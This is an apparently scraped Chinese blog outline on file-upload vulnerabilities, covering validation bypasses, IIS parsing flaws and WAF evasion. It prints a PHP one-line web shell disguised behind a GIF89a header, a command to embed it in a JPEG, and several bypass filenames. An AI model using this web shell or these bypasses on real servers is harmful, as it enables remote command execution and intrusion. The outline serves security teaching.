当前位置:网站首页>浅谈网络安全之文件上传
浅谈网络安全之文件上传
2022-07-06 15:35:00 【InfoQ】
概述
漏洞成因及危害
1.本地验证(前端验证)
2.后端验证及绕过
2.1 后缀名
3.文件类型验证
3.1 文件头检测:文件头内容信息(如gif89a)
JPEG 0xFFD8FF
PNG0 x89504E470D0A1A0A
GIF 47 49 4638 39 61(GIF89a)
GIF89a
<?php echo`$_REQUEST[cmd]`;
?>
cmd命令: copy 1.jpg/b+a.txt test.php
3.2 Content-Type检测
4. 内容及其他
4.1 逻辑安全:条件竞争(相当于系统占用)
4.2 目录命名
5.其他漏洞
脚本函数漏洞-cve
CVE-2017-12615
CVE-2015-5254
CVE-2019-2618
6.中间件解析漏洞
6.1 IIS 6.0+解析漏洞
image/aa.jpg
image.asp/aa.jpg aa.jpg
image.asp;.jpg或xxx.asp;xxx.jpg
7.WAF绕过
7.1 数据溢出(垃圾数据填充)
7.2 符号变异('";)
x.jpg;.php
7.3数据截断(%00;换行)
x.\np\nh\np
7.4 重复数据
8.防御
边栏推荐
猜你喜欢
Aardio - 利用customPlus库+plus构造一个多按钮组件
Financial professionals must read book series 6: equity investment (based on the outline and framework of the CFA exam)
ACL 2022 | small sample ner of sequence annotation: dual tower Bert model integrating tag semantics
DR-Net: dual-rotation network with feature map enhancement for medical image segmentation
Aardio - Method of batch processing attributes and callback functions when encapsulating Libraries
Config:invalid signature solution and troubleshooting details
Machine test question 1
uniapp滑动到一定的高度后固定某个元素到顶部效果demo(整理)
Custom swap function
That's why you can't understand recursion
随机推荐
Puppeteer连接已有Chrome浏览器
ACL 2022 | small sample ner of sequence annotation: dual tower Bert model integrating tag semantics
UVa 11732 – strcmp() Anyone?
Aardio - does not declare the method of directly passing float values
2022-07-04 the high-performance database engine stonedb of MySQL is compiled and run in centos7.9
ICLR 2022 | pre training language model based on anti self attention mechanism
Balanced Multimodal Learning via On-the-fly Gradient Modulation(CVPR2022 oral)
The ceiling of MySQL tutorial. Collect it and take your time
The difference between enumeration and define macro
柔性数组到底如何使用呢?
Some suggestions for foreign lead2022 in the second half of the year
ICLR 2022 | 基于对抗自注意力机制的预训练语言模型
ACL 2022 | 序列标注的小样本NER:融合标签语义的双塔BERT模型
uniapp设置背景图效果demo(整理)
Volatile keyword
Rust knowledge mind map XMIND
Matlab tips (27) grey prediction
Plafond du tutoriel MySQL, bien collecté, regardez lentement
Jafka来源分析——Processor
QT signal and slot